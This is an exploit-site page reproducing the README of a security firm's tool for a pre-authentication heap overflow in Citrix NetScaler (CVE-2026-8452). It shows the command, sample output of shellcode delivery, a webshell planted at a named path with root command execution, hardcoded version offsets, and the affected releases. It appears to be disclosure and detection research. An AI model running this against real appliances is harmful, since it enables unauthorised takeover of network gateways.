Sploitus

Exploit for Improper Restriction of Operations within the Bounds of a Memory Buffer in Citrix Netscaler Application Delivery Controller

CVE-2026-8452

githubexploit · 2026-08-14

Exploit Code

README60 lines
## https://sploitus.com/exploit?id=966C6430-FD83-5FF2-AB6F-EE80A052F062
# watchTowr-vs-Citrix-Netscaler-PreAuth-RCE

Detection Artifact Generator for Citrix NetScaler CVE-2026-8452

See our [blog post](https://labs.watchtowr.com/) for technical details.


# Detection in Action

```
python3 watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py --target https://172.16.5.12:9443/
                     __         ___  ___________
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(   \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|
                          \/          \/     \/

        watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py

        (*) Citrix NetScaler PreAuth Heap overflow to RCE Detection Artifact Generator

          - Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)

        CVEs: [CVE-2026-8452]

[*] Connecting to endpoint...
[*] target AAA service is responsive
[*] building shellcode
[+] shellcode size: 268 bytes
[*] triggering jmp rax to 0x112d30180
[*] sent..
[+] webshell will be at https://172.16.5.12:9443/vpn/theme/x.php?0=uname+-a;id
[+] web shell output:


FreeBSD something 11.4-NETSCALER-13.1 FreeBSD 11.4-NETSCALER-13.1 #0 ef731ca813f0(heads/artesa_30_52)-dirty: Wed Aug 24 08:24:55 PDT 2022     root@sjc-bld-bsd114-215:/usr/obj/usr/home/build/adc/usr.src/sys/NS64  amd64
uid=65534(nobody) gid=65534(nobody) euid=0(root) egid=0(wheel) groups=0(wheel)
uid=65534(nobody) gid=65534(nobody) euid=0(root) egid=0(wheel) groups=0(wheel)

```
> all the offsets/addresses are hardcoded for version 13.1-30.52 of NetScaler


# Affected Versions

Tthe vulnerability is reachable when the Netscaler appliance is configured to use SAML as either a Service Provider (SP) or an Identity Provider (IdP).

Citrix lists the following versions as affected:

NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-72.61
NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-63.18

# Follow [watchTowr](https://watchtowr.com) Labs

For the latest security research follow the [watchTowr](https://watchtowr.com) Labs Team

- https://labs.watchtowr.com/
- https://x.com/watchtowrcyber